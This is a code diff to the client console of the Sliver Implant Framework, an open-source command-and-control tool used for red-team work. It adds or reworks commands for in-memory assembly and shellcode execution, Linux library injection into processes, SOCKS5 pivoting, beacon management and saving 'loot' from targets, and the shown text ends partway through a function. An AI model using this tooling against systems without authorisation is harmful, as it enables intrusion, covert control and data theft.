f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -392,7 +401,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.KillStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.KillCmd(ctx, con)
|
||||
kill.KillCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -404,6 +413,32 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
openSessionCmd := &grumble.Command{
|
||||
Name: consts.InteractiveStr,
|
||||
Help: "Task a beacon to open an interactive session (Beacon only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.InteractiveStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.InteractiveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(openSessionCmd)
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
@@ -411,6 +446,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Beacon task management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -421,6 +460,28 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
tasksCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.FetchStr,
|
||||
Help: "Fetch the details of a beacon task",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("id", "beacon task ID", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
tasks.TasksFetchCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(tasksCmd)
|
||||
|
||||
// [ Use ] --------------------------------------------------------------
|
||||
@@ -441,6 +502,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return use.Completer(con, prefix, args)
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
useCmd.AddCommand(&grumble.Command{
|
||||
@@ -673,11 +737,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("s", "silent", false, "don't print the command output")
|
||||
f.Bool("o", "output", false, "capture command output")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("e", "stderr", "", "remote path to redirect STDERR to")
|
||||
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("E", "stderr", "", "remote path to redirect STDERR to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -961,8 +1025,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("D", "days", 0, "beacon interval days")
|
||||
f.Int64("H", "hours", 0, "beacon interval hours")
|
||||
f.Int64("M", "minutes", 15, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 0, "beacon interval seconds")
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
|
||||
// Generate flags
|
||||
@@ -1126,7 +1190,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
@@ -1136,7 +1200,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.String("N", "profile-name", "", "profile name")
|
||||
f.String("R", "profile-name", "", "profile name")
|
||||
f.String("N", "name", "", "agent name")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1394,6 +1459,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "View network interface configurations",
|
||||
LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("A", "all", false, "show all network adapters (default only shows IPv4)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1437,6 +1504,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("e", "exe", "", "filter based on executable name")
|
||||
f.String("o", "owner", "", "filter based on owner")
|
||||
f.Bool("c", "print-cmdline", false, "print command line arguments")
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1456,6 +1525,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("p", "pid", -1, "target pid")
|
||||
f.String("n", "name", "", "target process name")
|
||||
f.String("s", "save", "", "save to file (will overwrite if exists)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1686,6 +1757,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Take a screenshot",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save to file (will overwrite if exists)")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -1728,9 +1800,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Manage beacons",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
beacons.BeaconsCmd(ctx, con)
|
||||
@@ -1753,6 +1827,38 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
})
|
||||
beaconsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.WatchStr,
|
||||
Help: "Watch your beacons",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
beacons.BeaconsWatchCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
beaconsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.PruneStr,
|
||||
Help: "Prune stale beacons automatically",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("d", "duration", "1h", "duration to prune beacons that have missed their last checkin")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
beacons.BeaconsPruneCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(beaconsCmd)
|
||||
|
||||
// [ Macros ] ---------------------------------------------
|
||||
@@ -2182,6 +2288,58 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(portfwdCmd)
|
||||
|
||||
// [ Socks ] --------------------------------------------------------------
|
||||
|
||||
socksCmd := &grumble.Command{
|
||||
Name: consts.Socks5Str,
|
||||
Help: "In-band SOCKS5 Proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: "add",
|
||||
Help: "Create a new Socks5 Proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
|
||||
f.String("P", "port", "1081", "Bind a Socks5 Port")
|
||||
f.String("u", "user", "", "socks5 auth username (will generate random password)")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksAddCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: "rm",
|
||||
Help: "Remove a Socks5 Proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
|
||||
f.Int("i", "id", 0, "id of portfwd to remove")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(socksCmd)
|
||||
|
||||
// [ Monitor ] --------------------------------------------------------------
|
||||
|
||||
monitorCmd := &grumble.Command{
|
||||
@@ -2306,9 +2464,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
lootCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LootFetchStr,
|
||||
Name: consts.FetchStr,
|
||||
Help: "Fetch a piece of loot from the server's loot store",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save loot to a local file")
|
||||
f.String("f", "filter", "", "filter based on loot type")
|
||||
@@ -2588,6 +2746,27 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ LibInject ] -----------------------------------------------------------------
|
||||
libInjectCmd := &grumble.Command{
|
||||
Name: consts.LibInjectStr,
|
||||
Help: "Inject a Linux shared library into a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LibInjectStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
exec.LibInjectCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Uint64("pid", "Target process ID")
|
||||
a.String("library-path", "Path to the shared library to inject")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(libInjectCmd)
|
||||
}
|
||||
@@ -46,7 +46,6 @@ func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -56,7 +56,6 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -52,7 +52,6 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if unsetResp.Response != nil && unsetResp.Response.Async {
|
||||
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, unsetResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -20,26 +23,27 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("filepath")
|
||||
assemblyPath := ctx.Args.String("filepath")
|
||||
isDLL := false
|
||||
if filepath.Ext(filePath) == ".dll" {
|
||||
if filepath.Ext(assemblyPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
if isDLL {
|
||||
@@ -48,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(filePath)
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
@@ -59,7 +63,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
@@ -72,30 +76,50 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostname := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteAssembly - Print the results of an assembly execution
|
||||
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
|
||||
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
if executeAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssembly.GetOutput())
|
||||
outFilePath.Write(execAssembly.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
|
||||
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
@@ -103,3 +127,13 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -29,20 +29,26 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
return
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
@@ -61,7 +67,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
Pid: uint32(pid),
|
||||
@@ -73,11 +79,29 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
|
||||
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, shellcodeTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(shellcodeTask.Response)
|
||||
} else {
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteShellcode - Display result of shellcode execution
|
||||
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
if task.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", task.Response.GetErr())
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Executed shellcode on target\n")
|
||||
}
|
||||
con.PrintInfof("Executed shellcode on target\n")
|
||||
}
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
@@ -97,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -111,7 +135,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Retrieve PID and start remote task
|
||||
@@ -130,7 +154,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -22,26 +22,33 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
output := ctx.Flags.Bool("silent")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
token := ctx.Flags.Bool("token")
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
@@ -49,7 +56,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
@@ -58,42 +65,79 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: !output,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
} else if !output {
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = exec.Stdout
|
||||
con.PrintInfof("Output:\n%s", exec.Stdout)
|
||||
} else {
|
||||
con.PrintInfof("StdOut saved at %s\n", stdout)
|
||||
}
|
||||
if !ignoreStderr && stderr == "" {
|
||||
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
|
||||
con.PrintInfof("StdErr:\n%s", exec.Stderr)
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
} else {
|
||||
